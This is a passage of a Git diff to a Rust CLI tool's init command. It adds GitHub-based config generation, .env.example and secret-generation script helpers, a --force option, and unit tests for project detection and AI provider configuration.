-    let lockfiles = ["package-lock.json", "pnpm-lock.yaml", "yarn.lock", "Cargo.lock"];
+    let lockfiles = [
+        "package-lock.json",
+        "pnpm-lock.yaml",
+        "yarn.lock",
+        "Cargo.lock",
+    ];
     let found_lockfiles: Vec<&str> = lockfiles
         .iter()
         .copied()
         .filter(|file| project_dir.join(file).exists())
         .collect();
     if !found_lockfiles.is_empty() {
-        context.push(format!("Detected lockfiles: {}", found_lockfiles.join(", ")));
+        context.push(format!(
+            "Detected lockfiles: {}",
+            found_lockfiles.join(", ")
+        ));
     }
 
     context
@@ -635,7 +1877,8 @@ fn generate_compose_with_ai(
         context.join("\n\n"), dockerfile_rel
     );
 
-    let system = "You are an expert Docker Compose engineer. Return only valid docker compose YAML.";
+    let system =
+        "You are an expert Docker Compose engineer. Return only valid docker compose YAML.";
     let raw = if ai_config.provider == AiProviderType::Ollama {
         eprintln!("🧠 AI reasoning for compose (streaming)...");
         let response = ollama_complete_streaming(ai_config, &prompt, system)?;
@@ -646,9 +1889,8 @@ fn generate_compose_with_ai(
     };
     let compose = strip_code_fences(&raw);
 
-    let parsed: serde_yaml::Value = serde_yaml::from_str(&compose).map_err(|e| {
-        CliError::GeneratorError(format!("AI generated invalid compose YAML: {e}"))
-    })?;
+    let parsed: serde_yaml::Value = serde_yaml::from_str(&compose)
+        .map_err(|e| CliError::GeneratorError(format!("AI generated invalid compose YAML: {e}")))?;
 
     if parsed.get("services").is_none() {
         return Err(CliError::GeneratorError(
@@ -659,28 +1901,137 @@ fn generate_compose_with_ai(
     Ok(compose)
 }
 
+// ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━
+// Env file generation helpers
+// ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━
+
+/// Returns `true` when the environment variable key looks like a secret
+/// (password, key, secret, token).
+pub fn is_secret_env_key(key: &str) -> bool {
+    let lower = key.to_lowercase();
+    lower.contains("password")
+        || lower.contains("secret")
+        || lower.contains("_key")
+        || lower.contains("token")
+}
+
+/// Generate `.env.example` content from detected environment variables.
+/// Known/default values are preserved; secret-looking keys are emptied.
+pub fn generate_env_example_content(
+    env_vars: &std::collections::HashMap<String, String>,
+) -> String {
+    let mut lines = vec![
+        "# Copy to .env and generate secrets before first deploy:".to_string(),
+        "#   cp .env.example .env && ./scripts/generate-secrets.sh".to_string(),
+        String::new(),
+    ];
+
+    let mut sorted: Vec<_> = env_vars.iter().collect();
+    sorted.sort_by(|a, b| a.0.cmp(b.0));
+
+    for (key, value) in sorted {
+        if is_secret_env_key(key) {
+            lines.push(format!("{}=", key));
+        } else {
+            lines.push(format!("{}={}", key, value));
+        }
+    }
+
+    lines.push(String::new());
+    lines.join("\n")
+}
+
+/// Generate `scripts/generate-secrets.sh` content that uses `openssl rand -hex`
+/// to fill missing secret values in `.env`.
+pub fn generate_secrets_script_content(env_file_content: &str) -> String {
+    let mut lines = vec![
+        "#!/bin/bash".to_string(),
+        "set -euo pipefail".to_string(),
+        format!("cd \"$(dirname \"$0\")/..\"",),
+        String::new(),
+    ];
+
+    // Only generate secrets for keys that are empty in the env file
+    for env_line in env_file_content.lines() {
+        let trimmed = env_line.trim();
+        if trimmed.is_empty() || trimmed.starts_with('#') {
+            continue;
+        }
+        let parts: Vec<&str> = trimmed.splitn(2, '=').collect();
+        if parts.len() != 2 || parts[0].is_empty() {
+            continue;
+        }
+        let key = parts[0].trim();
+        let value = parts[1].trim();
+
+        // Only allow safe identifier characters — reject keys with shell metacharacters.
+        if !key.chars().all(|c| c.is_ascii_alphanumeric() || c == '_') {
+            continue;
+        }
+
+        if value.is_empty() && is_secret_env_key(key) {
+            lines.push(format!(r#"echo ":: Generating {}...""#, key));
+            lines.push(format!(
+                r#"CURRENT=$(grep "^{}=" .env 2>/dev/null | cut -d= -f2- || true)"#,
+                key
+            ));
+            lines.push(format!(r#"if [ -z "$CURRENT" ]; then"#));
+            lines.push(format!(
+                r#"  sed -i'.bak' "s/^{}=.*/{}=$(openssl rand -hex 16)/" .env 2>/dev/null || sed -i '' "s/^{}=.*/{}=$(openssl rand -hex 16)/" .env"#,
+                key, key, key, key
+            ));
+            lines.push(format!(r#"fi"#));
+            lines.push(String::new());
+        }
+    }
+
+    lines.join("\n")
+}
+
 impl CallableTrait for InitCommand {
     fn call(&self) -> Result<(), Box<dyn std::error::Error>> {
         let project_dir = std::env::current_dir()?;
 
-        let config_path = generate_config_full(
-            &project_dir,
-            self.app_type.as_deref(),
-            self.with_proxy,
-            self.with_ai,
-            self.ai_provider.as_deref(),
-            self.ai_model.as_deref(),
-            self.ai_api_key.as_deref(),
-        )?;
+        let config_path = if let Some(ref url) = self.from_github {
+            generate_config_from_github(
+                &project_dir,
+                url,
+                self.app_type.as_deref(),
+                self.with_proxy,
+                self.with_ai,
+                self.ai_provider.as_deref(),
+                self.ai_model.as_deref(),
+                self.ai_api_key.as_deref(),
+                self.ai_endpoint.as_deref(),
+                self.force,
+            )?
+        } else {
+            generate_config_full(
+                &project_dir,
+                self.app_type.as_deref(),
+                self.with_proxy,
+                self.with_ai,
+                self.ai_provider.as_deref(),
+                self.ai_model.as_deref(),
+                self.ai_api_key.as_deref(),
+                self.ai_endpoint.as_deref(),
+                self.force,
+            )?
+        };
 
         eprintln!("✓ Created {}", config_path.display());
 
-        if self.with_cloud {
-            eprintln!("☁ Running cloud setup wizard...");
-            let path_str = config_path.to_string_lossy().to_string();
-            let applied = crate::console::commands::cli::config::run_setup_cloud_interactive(&path_str)?;
-            for item in applied {
-                eprintln!("  - {}", item);
+        // Cloud wizard and .stacker/ generation are only relevant for local init.
+        if self.from_github.is_none() {
+            if self.with_cloud {
+                eprintln!("☁ Running cloud setup wizard...");
+                let path_str = config_path.to_string_lossy().to_string();
+                let applied = crate::console::commands::cli::config::run_setup_cloud_interactive(
+                    &path_str, None,
+                )?;
+                for item in applied {
+                    eprintln!("  - {}", item);
+                }
             }
         }
 
@@ -695,111 +2046,149 @@ impl CallableTrait for InitCommand {
             eprintln!("  AI: enabled ({})", config.ai.provider);
         }
         if !config.services.is_empty() {
-            eprintln!("  Services: {}", config.services.iter().map(|s| s.name.as_str()).collect::<Vec<_>>().join(", "));
+            eprintln!(
+                "  Services: {}",
+                config
+                    .services
+                    .iter()
+                    .map(|s| s.name.as_str())
+                    .collect::<Vec<_>>()
+                    .join(", ")
+            );
         }
 
         // Generate .stacker/ directory with Dockerfile and docker-compose.yml
+        // (skipped for --from-github since the artifacts would reference a temp dir)
         let output_dir = project_dir.join(OUTPUT_DIR);
-        std::fs::create_dir_all(&output_dir)?;
 
-        // Optional AI provider for artifact generation
-        let ai_runtime = if self.with_ai {
-            match resolve_ai_config(
-                self.ai_provider.as_deref(),
-                self.ai_model.as_deref(),
-                self.ai_api_key.as_deref(),
-            ) {
-                Ok(ai_cfg) => match create_provider(&ai_cfg) {
-                    Ok(provider) => Some((ai_cfg, provider)),
+        if self.from_github.is_none() {
+            std::fs::create_dir_all(&output_dir)?;
+
+            // Optional AI provider for artifact generation
+            let ai_runtime = if self.with_ai {
+                match resolve_ai_config(
+                    self.ai_provider.as_deref(),
+                    self.ai_model.as_deref(),
+                    self.ai_api_key.as_deref(),
+                    self.ai_endpoint.as_deref(),
+                ) {
+                    Ok(ai_cfg) => match create_provider(&ai_cfg) {
+                        Ok(provider) => Some((ai_cfg, provider)),
+                        Err(e) => {
+                            eprintln!("⚠ AI artifact generation unavailable: {}", e);
+                            None
+                        }
+                    },
                     Err(e) => {
                         eprintln!("⚠ AI artifact generation unavailable: {}", e);
                         None
                     }
-                },
-                Err(e) => {
-                    eprintln!("⚠ AI artifact generation unavailable: {}", e);
-                    None
                 }
+            } else {
+                None
+            };
+
+            // Generate Dockerfile
+            let needs_dockerfile = config.app.image.is_none() && config.app.dockerfile.is_none();
+            if self.with_ai {
+                let dockerfile_path = output_dir.join("Dockerfile");
+                let mut generated = false;
+
+                if let Some((ref ai_cfg, ref provider)) = ai_runtime {
+                    match generate_dockerfile_with_ai(
+                        &project_dir,
+                        &config,
+                        ai_cfg,
+                        provider.as_ref(),
+                    ) {
+                        Ok(dockerfile) => {
+                            std::fs::write(&dockerfile_path, dockerfile)?;
+                            eprintln!("✓ Generated {}/Dockerfile (AI)", OUTPUT_DIR);
+                            generated = true;
+                        }
+                        Err(e) => {
+                            eprintln!("⚠ AI Dockerfile generation failed: {}", e);
+                            eprintln!("  Falling back to template Dockerfile generation.");
+                        }
+                    }
+                }
+
+                if !generated {
+                    let builder = DockerfileBuilder::for_project(&project_dir, config.app.app_type);
+                    builder.write_to(&dockerfile_path, true)?;
+                    eprintln!("✓ Regenerated {}/Dockerfile (template)", OUTPUT_DIR);
+                }
+            } else if needs_dockerfile {
+                let dockerfile_path = output_dir.join("Dockerfile");
+                let builder = DockerfileBuilder::for_project(&project_dir, config.app.app_type);
+                builder.write_to(&dockerfile_path, false)?;
+                eprintln!("✓ Generated {}/Dockerfile", OUTPUT_DIR);
             }
-        } else {
-            None
-        };
 
-        // Generate Dockerfile
-        let needs_dockerfile = config.app.image.is_none() && config.app.dockerfile.is_none();
-        if self.with_ai {
-            let dockerfile_path = output_dir.join("Dockerfile");
-            let mut generated = false;
-
-            if let Some((ref ai_cfg, ref provider)) = ai_runtime {
-                match generate_dockerfile_with_ai(&project_dir, &config, ai_cfg, provider.as_ref()) {
-                    Ok(dockerfile) => {
-                        std::fs::write(&dockerfile_path, dockerfile)?;
-                        eprintln!("✓ Generated {}/Dockerfile (AI)", OUTPUT_DIR);
-                        generated = true;
-                    }
-                    Err(e) => {
-                        eprintln!("⚠ AI Dockerfile generation failed: {}", e);
-                        eprintln!("  Falling back to template Dockerfile generation.");
+            // Generate docker-compose.yml
+            if self.with_ai {
+                let compose_path = output_dir.join("docker-compose.yml");
+                let dockerfile_path = output_dir.join("Dockerfile");
+                let mut generated = false;
+
+                if let Some((ref ai_cfg, ref provider)) = ai_runtime {
+                    match generate_compose_with_ai(
+                        &project_dir,
+                        &config,
+                        &dockerfile_path,
+                        ai_cfg,
+                        provider.as_ref(),
+                    ) {
+                        Ok(compose_yaml) => {
+                            std::fs::write(&compose_path, compose_yaml)?;
+                            eprintln!("✓ Generated {}/docker-compose.yml (AI)", OUTPUT_DIR);
+                            generated = true;
+                        }
+                        Err(e) => {
+                            eprintln!("⚠ AI compose generation failed: {}", e);
+                            eprintln!("  Falling back to template compose generation.");
+                        }
                     }
                 }
-            }
 
-            if !generated {
-                let builder = DockerfileBuilder::from(config.app.app_type);
-                builder.write_to(&dockerfile_path, true)?;
-                eprintln!("✓ Regenerated {}/Dockerfile (template)", OUTPUT_DIR);
+                if !generated {
+                    let compose = ComposeDefinition::try_from(&config)?;
+                    compose.write_to(&compose_path, true)?;
+                    eprintln!("✓ Regenerated {}/docker-compose.yml (template)", OUTPUT_DIR);
+                }
+            } else if config.deploy.compose_file.is_none() {
+                let compose_path = output_dir.join("docker-compose.yml");
+                let compose = ComposeDefinition::try_from(&config)?;
+                compose.write_to(&compose_path, false)?;
+                eprintln!("✓ Generated {}/docker-compose.yml", OUTPUT_DIR);
             }
-        } else if needs_dockerfile {
-            let dockerfile_path = output_dir.join("Dockerfile");
-            let builder = DockerfileBuilder::from(config.app.app_type);
-            builder.write_to(&dockerfile_path, false)?;
-            eprintln!("✓ Generated {}/Dockerfile", OUTPUT_DIR);
-        }
 
-        // Generate docker-compose.yml
-        if self.with_ai {
-            let compose_path = output_dir.join("docker-compose.yml");
-            let dockerfile_path = output_dir.join("Dockerfile");
-            let mut generated = false;
+            eprintln!("\nNext steps:");
+            eprintln!("  stacker config validate   # Check configuration");
+            eprintln!("  stacker deploy --target local --dry-run   # Preview deployment");
+            eprintln!("  stacker deploy --target local   # Deploy locally");
+            eprintln!("\n  Deploy anywhere with a free account:");
+            eprintln!("  stacker login              # Free tier — 20 deploys/mo, 1 cloud provider");
+            eprintln!("  stacker agent status       # Remote monitoring via Status Panel");
 
-            if let Some((ref ai_cfg, ref provider)) = ai_runtime {
-                match generate_compose_with_ai(
+            if self.with_ai {
+                maybe_bootstrap_website_scenario(
                     &project_dir,
+                    &config_path,
                     &config,
-                    &dockerfile_path,
-                    ai_cfg,
-                    provider.as_ref(),
-                ) {
-                    Ok(compose_yaml) => {
-                        std::fs::write(&compose_path, compose_yaml)?;
-                        eprintln!("✓ Generated {}/docker-compose.yml (AI)", OUTPUT_DIR);
-                        generated = true;
-                    }
-                    Err(e) => {
-                        eprintln!("⚠ AI compose generation failed: {}", e);
-                        eprintln!("  Falling back to template compose generation.");
-                    }
-                }
-            }
-
-            if !generated {
-                let compose = ComposeDefinition::try_from(&config)?;
-                compose.write_to(&compose_path, true)?;
-                eprintln!("✓ Regenerated {}/docker-compose.yml (template)", OUTPUT_DIR);
+                    ai_runtime
+                        .as_ref()
+                        .map(|(cfg, provider)| (cfg, provider.as_ref())),
+                )?;
             }
-        } else if config.deploy.compose_file.is_none() {
-            let compose_path = output_dir.join("docker-compose.yml");
-            let compose = ComposeDefinition::try_from(&config)?;
-            compose.write_to(&compose_path, false)?;
-            eprintln!("✓ Generated {}/docker-compose.yml", OUTPUT_DIR);
+        } else {
+            // --from-github path: only generate stacker.yml, no .stacker/ dir
+            eprintln!("\nNext steps:");
+            eprintln!("  stacker config validate   # Check configuration");
+            eprintln!("  stacker deploy --target local --dry-run   # Preview deployment");
+            eprintln!("  stacker deploy --target local   # Deploy locally");
         }
 
-        eprintln!("\nNext steps:");
-        eprintln!("  stacker config validate   # Check configuration");
-        eprintln!("  stacker deploy --target local --dry-run   # Preview deployment");
-        eprintln!("  stacker deploy --target local   # Deploy locally");
-
         Ok(())
     }
 }
@@ -811,6 +2200,9 @@ impl CallableTrait for InitCommand {
 #[cfg(test)]
 mod tests {
     use super::*;
+    use crate::cli::detector::{
+        ComposeStack, DetectedComposeService, DiscoveredApp, ProjectDetection, WorkspaceDetection,
+    };
     use tempfile::TempDir;
 
     struct MockAiProvider {
@@ -821,10 +2213,7 @@ mod tests {
         fn new(responses: Vec<&str>) -> Self {
             Self {
                 responses: std::sync::Mutex::new(
-                    responses
-                        .into_iter()
-                        .map(|s| s.to_string())
-                        .collect(),
+                    responses.into_iter().map(|s| s.to_string()).collect(),
                 ),
             }
         }
@@ -856,10 +2245,22 @@ mod tests {
         dir
     }
 
+    fn setup_dir_with_nested_files(files: &[(&str, &str)]) -> TempDir {
+        let dir = TempDir::new().unwrap();
+        for (path, content) in files {
+            let file_path = dir.path().join(path);
+            if let Some(parent) = file_path.parent() {
+                std::fs::create_dir_all(parent).unwrap();
+            }
+            std::fs::write(file_path, content).unwrap();
+        }
+        dir
+    }
+
     #[test]
     fn test_init_static_project_creates_config() {
         let dir = setup_dir_with_files(&["index.html"]);
-        let result = generate_config(dir.path(), None, false, false);
+        let result = generate_config(dir.path(), None, false, false, false);
         assert!(result.is_ok());
 
         let path = result.unwrap();
@@ -872,7 +2273,7 @@ mod tests {
     #[test]
     fn test_init_node_project_detects_correctly() {
         let dir = setup_dir_with_files(&["package.json"]);
-        let result = generate_config(dir.path(), None, false, false);
+        let result = generate_config(dir.path(), None, false, false, false);
         assert!(result.is_ok());
 
         let config = StackerConfig::from_file(&result.unwrap()).unwrap();
@@ -883,7 +2284,7 @@ mod tests {
     fn test_init_type_flag_overrides_detection() {
         // Dir has package.json (Node) but flag says python
         let dir = setup_dir_with_files(&["package.json"]);
-        let result = generate_config(dir.path(), Some("python"), false, false);
+        let result = generate_config(dir.path(), Some("python"), false, false, false);
         assert!(result.is_ok());
 
         let config = StackerConfig::from_file(&result.unwrap()).unwrap();
@@ -893,7 +2294,7 @@ mod tests {
     #[test]
     fn test_init_with_proxy_flag_adds_section() {
         let dir = setup_dir_with_files(&["index.html"]);
-        let result = generate_config(dir.path(), None, true, false);
+        let result = generate_config(dir.path(), None, true, false, false);
         assert!(result.is_ok());
 
         let config = StackerConfig::from_file(&result.unwrap()).unwrap();
@@ -905,7 +2306,7 @@ mod tests {
     #[test]
     fn test_init_with_ai_flag_adds_section() {
         let dir = setup_dir_with_files(&["index.html"]);
-        let result = generate_config(dir.path(), None, false, true);
+        let result = generate_config(dir.path(), None, false, true, false);
         assert!(result.is_ok());
 
         let config = StackerConfig::from_file(&result.unwrap()).unwrap();
@@ -916,27 +2317,67 @@ mod tests {
     #[test]
     fn test_init_does_not_overwrite_existing() {
         let dir = setup_dir_with_files(&["index.html", DEFAULT_CONFIG_FILE]);
-        let result = generate_config(dir.path(), None, false, false);
+        let result = generate_config(dir.path(), None, false, false, false);
         assert!(result.is_err());
 
         let err = format!("{}", result.unwrap_err());
         assert!(err.contains("already exists"));
+        assert!(err.contains("--force"));
+    }
+
+    #[test]
+    fn test_init_force_overwrites_existing() {
+        let dir = setup_dir_with_files(&["index.html", DEFAULT_CONFIG_FILE]);
+        let result = generate_config(dir.path(), None, false, false, true);
+        assert!(
+            result.is_ok(),
+            "Should overwrite with --force: {:?}",
+            result.err()
+        );
     }
 
     #[test]
     fn test_init_output_parses_as_valid_config() {
         let dir = setup_dir_with_files(&["index.html"]);
-        let path = generate_config(dir.path(), None, false, false).unwrap();
+        let path = generate_config(dir.path(), None, false, false, false).unwrap();
 
         // Must be parseable
         let result = StackerConfig::from_file(&path);
         assert!(result.is_ok());
     }
 
+    #[test]
+    fn test_init_output_from_compose_validates_without_empty_path_noise() {
+        let dir = setup_dir_with_nested_files(&[
+            ("package.json", r#"{"name":"web","version":"0.1.0"}"#),
+            (
+                "docker-compose.yml",
+                "services:\n  status-panel-web:\n    image: trydirect/status-panel-web:latest\n    ports:\n      - \"3000:3000\"\n    environment:\n      NEXT_PUBLIC_SITE_URL: https://status.stacker.my\n      INTENTIONAL_EMPTY: null\n      NODE_ENV: production\n",
+            ),
+        ]);
+        let path = generate_config(dir.path(), None, false, false, false).unwrap();
+        let rendered = std::fs::read_to_string(&path).unwrap();
+        let issues =
+            crate::console::commands::cli::config::run_validate(&path.to_string_lossy()).unwrap();
+
+        assert_eq!(issues, Vec::<String>::new());
+        assert!(rendered.contains("target: local"));
+        assert!(rendered.contains("type: none"));
+        assert!(rendered.contains("status_panel: false"));
+        assert!(rendered.contains("INTENTIONAL_EMPTY: ''"));
+        assert!(!rendered.contains(": null"));
+        assert!(!rendered.contains("dockerfile:"));
+        assert!(!rendered.contains("env_file:"));
+        assert!(!rendered.contains("hooks:"));
+        assert!(!rendered.contains("ports: []"));
+        assert!(!rendered.contains("environment: {}"));
+        assert!(!rendered.contains("depends_on: []"));
+    }
+
     #[test]
     fn test_init_empty_dir_defaults_to_custom() {
         let dir = TempDir::new().unwrap();
-        let result = generate_config(dir.path(), None, false, false);
+        let result = generate_config(dir.path(), None, false, false, false);
         assert!(result.is_ok());
 
         let config = StackerConfig::from_file(&result.unwrap()).unwrap();
@@ -944,6 +2385,75 @@ mod tests {
         assert_eq!(config.app.app_type, AppType::Custom);
     }
 
+    #[test]
+    fn test_init_monorepo_reuses_existing_compose_stack() {
+        let dir = setup_dir_with_nested_files(&[
+            ("device-api/Cargo.toml", "[package]\nname = \"device-api\"\nversion = \"0.1.0\"\n"),
+            ("device-api/Dockerfile", "FROM rust:1.82\n"),
+            (
+                "device-api/src/auth/jwt.rs",
+                "const PRIVATE_KEY_PATH: &str = \"properties/private.pem\";\nconst PUBLIC_KEY_PATH: &str = \"properties/public.pem\";\n",
+            ),
+            ("upload/Cargo.toml", "[package]\nname = \"upload\"\nversion = \"0.1.0\"\n"),
+            ("upload/Dockerfile", "FROM rust:1.82\n"),
+            (
+                "docker/local/compose.yml",
+                "include:\n  - ../../device-api/docker/local/compose.yml\n  - ../../upload/docker/local/compose.yml\n",
+            ),
+            (
+                "device-api/docker/local/compose.yml",
+                "services:\n  device-api:\n    build: .\n    volumes:\n      - device-api-properties:/app/properties\n",
+            ),
+            (
+                "upload/docker/local/compose.yml",
+                "services:\n  upload:\n    build: .\n    image: ${UPLOAD_IMAGE:-upload:local}\n    ports:\n      - \"8080:8080\"\n  redis:\n    image: redis:7\n  grafana:\n    image: grafana/grafana:latest\n    environment:\n      GF_SECURITY_ADMIN_PASSWORD: ${GRAFANA_PASSWORD:-admin123}\n",
+            ),
+        ]);
+
+        let path = generate_config(dir.path(), None, false, false, false).unwrap();
+        let config = StackerConfig::from_file(&path).unwrap();
+        let rendered = std::fs::read_to_string(&path).unwrap();
+
+        assert_eq!(config.app.path, PathBuf::from("device-api"));
+        assert_eq!(
+            config.app.dockerfile,
+            Some(PathBuf::from("device-api/Dockerfile"))
+        );
+        assert_eq!(
+            config.deploy.compose_file,
+            Some(PathBuf::from("docker/local/compose.yml"))
+        );
+        let mut service_names = config
+            .services
+            .iter()
+            .map(|service| service.name.as_str())
+            .collect::<Vec<_>>();
+        service_names.sort();
+        assert_eq!(service_names, vec!["grafana", "redis", "upload"]);
+        let upload = config
+            .services
+            .iter()
+            .find(|service| service.name == "upload")
+            .unwrap();
+        assert_eq!(upload.image, "upload:local");
+        assert_eq!(upload.ports, vec!["8080:8080"]);
+        let grafana = config
+            .services
+            .iter()
+            .find(|service| service.name == "grafana")
+            .unwrap();
+        assert_eq!(
+            grafana
+                .environment
+                .get("GF_SECURITY_ADMIN_PASSWORD")
+                .map(|value| value.as_str()),
+            Some("admin123")
+        );
+        assert!(rendered.contains("Discovered apps: device-api [custom], upload [custom]"));
+        assert!(rendered.contains("Compose services detected: device-api, grafana, redis, upload"));
+        assert!(rendered.contains("device-api mounts /app/properties but scan did not find a checked-in keypair or generator service"));
+    }
+
     #[test]
     fn test_parse_app_type_valid() {
         assert_eq!(parse_app_type("static").unwrap(), AppType::Static);
@@ -962,9 +2472,24 @@ mod tests {
 
     // ── AI provider resolution tests ────────────────
 
+    static AI_CONFIG_ENV_LOCK: std::sync::Mutex<()> = std::sync::Mutex::new(());
+
+    fn clear_ai_config_env() {
+        std::env::remove_var("STACKER_AI_PROVIDER");
+        std::env::remove_var("OPENAI_API_KEY");
+        std::env::remove_var("ANTHROPIC_API_KEY");
+        std::env::remove_var("STACKER_AI_MODEL");
+        std::env::remove_var("STACKER_AI_API_KEY");
+        std::env::remove_var("STACKER_AI_ENDPOINT");
+        std::env::remove_var("STACKER_AI_TIMEOUT");
+    }
+
     #[test]
     fn test_resolve_ai_config_defaults_to_ollama() {
-        let config = resolve_ai_config(None, None, None).unwrap();
+        let _guard = AI_CONFIG_ENV_LOCK.lock().unwrap();
+        clear_ai_config_env();
+
+        let config = resolve_ai_config(None, None, None, None).unwrap();
         assert!(config.enabled);
         assert_eq!(config.provider, AiProviderType::Ollama);
         assert!(config.api_key.is_none());
@@ -972,7 +2497,13 @@ mod tests {
 
     #[test]
     fn test_resolve_ai_config_explicit_provider() {
-        let config = resolve_ai_config(Some("anthropic"), Some("claude-sonnet-4-20250514"), Some("sk-ant-test")).unwrap();
+        let config = resolve_ai_config(
+            Some("anthropic"),
+            Some("claude-sonnet-4-20250514"),
+            Some("sk-ant-test"),
+            None,
+        )
+        .unwrap();
         assert_eq!(config.provider, AiProviderType::Anthropic);
         assert_eq!(config.model.as_deref(), Some("claude-sonnet-4-20250514"));
         assert_eq!(config.api_key.as_deref(), Some("sk-ant-test"));
@@ -980,14 +2511,14 @@ mod tests {
 
     #[test]
     fn test_resolve_ai_config_openai_with_key() {
-        let config = resolve_ai_config(Some("openai"), None, Some("sk-test123")).unwrap();
+        let config = resolve_ai_config(Some("openai"), None, Some("sk-test123"), None).unwrap();
         assert_eq!(config.provider, AiProviderType::Openai);
         assert_eq!(config.api_key.as_deref(), Some("sk-test123"));
     }
 
     #[test]
     fn test_resolve_ai_config_invalid_provider_errors() {
-        let result = resolve_ai_config(Some("invalid-provider"), None, None);
+        let result = resolve_ai_config(Some("invalid-provider"), None, None, None);
         assert!(result.is_err());
         let err = format!("{}", result.unwrap_err());
         assert!(err.contains("Unknown AI provider"));
@@ -995,55 +2526,70 @@ mod tests {
 
     #[test]
     fn test_resolve_ai_config_env_var_fallback() {
+        let _guard = AI_CONFIG_ENV_LOCK.lock().unwrap();
+        clear_ai_config_env();
+
         std::env::set_var("STACKER_AI_PROVIDER", "openai");
         std::env::set_var("OPENAI_API_KEY", "sk-from-env");
         std::env::set_var("STACKER_AI_MODEL", "gpt-4o-mini");
 
-        let config = resolve_ai_config(None, None, None).unwrap();
+        let config = resolve_ai_config(None, None, None, None).unwrap();
         assert_eq!(config.provider, AiProviderType::Openai);
         assert_eq!(config.api_key.as_deref(), Some("sk-from-env"));
         assert_eq!(config.model.as_deref(), Some("gpt-4o-mini"));
 
-        std::env::remove_var("STACKER_AI_PROVIDER");
-        std::env::remove_var("OPENAI_API_KEY");
-        std::env::remove_var("STACKER_AI_MODEL");
+        clear_ai_config_env();
     }
 
     #[test]
     fn test_resolve_ai_config_flag_overrides_env() {
+        let _guard = AI_CONFIG_ENV_LOCK.lock().unwrap();
+        clear_ai_config_env();
+
         std::env::set_var("STACKER_AI_PROVIDER", "openai");
 
         // Flag says ollama, env says openai — flag wins
-        let config = resolve_ai_config(Some("ollama"), None, None).unwrap();
+        let config = resolve_ai_config(Some("ollama"), None, None, None).unwrap();
         assert_eq!(config.provider, AiProviderType::Ollama);
 
-        std::env::remove_var("STACKER_AI_PROVIDER");
+        clear_ai_config_env();
     }
 
     #[test]
     fn test_resolve_ai_config_timeout_default() {
-        std::env::remove_var("STACKER_AI_TIMEOUT");
-        let config = resolve_ai_config(None, None, None).unwrap();
+        let _guard = AI_CONFIG_ENV_LOCK.lock().unwrap();
+        clear_ai_config_env();
+
+        let config = resolve_ai_config(None, None, None, None).unwrap();
         assert_eq!(config.timeout, 300);
     }
 
     #[test]
     fn test_resolve_ai_config_timeout_from_env() {
+        let _guard = AI_CONFIG_ENV_LOCK.lock().unwrap();
+        clear_ai_config_env();
+
         std::env::set_var("STACKER_AI_TIMEOUT", "900");
-        let config = resolve_ai_config(None, None, None).unwrap();
+        let config = resolve_ai_config(None, None, None, None).unwrap();
         assert_eq!(config.timeout, 900);
-        std::env::remove_var("STACKER_AI_TIMEOUT");
+        clear_ai_config_env();
     }
 
     #[test]
     fn test_parse_ai_provider_all_valid() {
         assert_eq!(parse_ai_provider("openai").unwrap(), AiProviderType::Openai);
-        assert_eq!(parse_ai_provider("anthropic").unwrap(), AiProviderType::Anthropic);
+        assert_eq!(
+            parse_ai_provider("anthropic").unwrap(),
+            AiProviderType::Anthropic
+        );
         assert_eq!(parse_ai_provider("ollama").unwrap(), AiProviderType::Ollama);
         assert_eq!(parse_ai_provider("custom").unwrap(), AiProviderType::Custom);
         // Case insensitive
         assert_eq!(parse_ai_provider("OpenAI").unwrap(), AiProviderType::Openai);
-        assert_eq!(parse_ai_provider("ANTHROPIC").unwrap(), AiProviderType::Anthropic);
+        assert_eq!(
+            parse_ai_provider("ANTHROPIC").unwrap(),
+            AiProviderType::Anthropic
+        );
     }
 
     #[test]
@@ -1053,8 +2599,15 @@ mod tests {
         // Use an explicit provider that will fail connection (port 1 is unreachable)
         // This avoids hitting a real running Ollama instance
         let result = generate_config_full(
-            dir.path(), None, false, true,
-            Some("custom"), None, Some("fake-key"),
+            dir.path(),
+            None,
+            false,
+            true,
+            Some("custom"),
+            None,
+            Some("fake-key"),
+            None,
+            false,
         );
         assert!(result.is_ok());
 
@@ -1086,7 +2639,8 @@ mod tests {
             ..AiConfig::default()
         };
 
-        let dockerfile = generate_dockerfile_with_ai(dir.path(), &config, &ai_cfg, &provider).unwrap();
+        let dockerfile =
+            generate_dockerfile_with_ai(dir.path(), &config, &ai_cfg, &provider).unwrap();
         assert!(dockerfile.contains("FROM node:20-alpine"));
         assert!(!dockerfile.contains("```"));
     }
@@ -1124,4 +2678,360 @@ mod tests {
         assert!(compose.contains("services:"));
         assert!(compose.contains("dockerfile: .stacker/Dockerfile"));
     }
+
+    // ── generate_config_from_github tests ──────────
+
+    #[test]
+    fn test_from_github_invalid_url_rejected() {
+        let dir = TempDir::new().unwrap();
+        let result = generate_config_from_github(
+            dir.path(),
+            "not-a-valid-url",
+            None,
+            false,
+            false,
+            None,
+            None,
+            None,
+            None,
+            false,
+        );
+        assert!(result.is_err());
+        let err = format!("{}", result.unwrap_err());
+        assert!(err.contains("Invalid GitHub URL"));
+    }
+
+    #[test]
+    fn test_from_github_empty_url_rejected() {
+        let dir = TempDir::new().unwrap();
+        let result = generate_config_from_github(
+            dir.path(),
+            "",
+            None,
+            false,
+            false,
+            None,
+            None,
+            None,
+            None,
+            false,
+        );
+        assert!(result.is_err());
+    }
+
+    #[test]
+    fn test_from_github_existing_config_rejected() {
+        let dir = setup_dir_with_files(&["stacker.yml", "index.html"]);
+        let result = generate_config_from_github(
+            dir.path(),
+            "owner/repo",
+            None,
+            false,
+            false,
+            None,
+            None,
+            None,
+            None,
+            false,
+        );
+        assert!(result.is_err());
+        let err = format!("{}", result.unwrap_err());
+        assert!(err.contains("already exists"));
+    }
+
+    #[test]
+    fn test_from_github_shorthand_url_parsed() {
+        let dir = TempDir::new().unwrap();
+        // This will fail on git clone (no such repo), but the URL parsing must succeed first.
+        // We verify the URL parsing passes by checking the error isn't about the URL format.
+        let result = generate_config_from_github(
+            dir.path(),
+            "trydirect/stacker", // real repo, may or may not be reachable
+            None,
+            false,
+            false,
+            None,
+            None,
+            None,
+            None,
+            false,
+        );
+        // The error should NOT be about URL parsing
+        if let Err(e) = &result {
+            let msg = format!("{}", e);
+            assert!(
+                !msg.contains("Invalid GitHub URL"),
+                "Expected clone/network error, got URL parse error: {}",
+                msg
+            );
+        }
+    }
+
+    // ── Env example generation tests ────────────────
+
+    #[test]
+    fn test_generate_env_example_marks_secrets_as_empty() {
+        let mut env_vars = std::collections::HashMap::new();
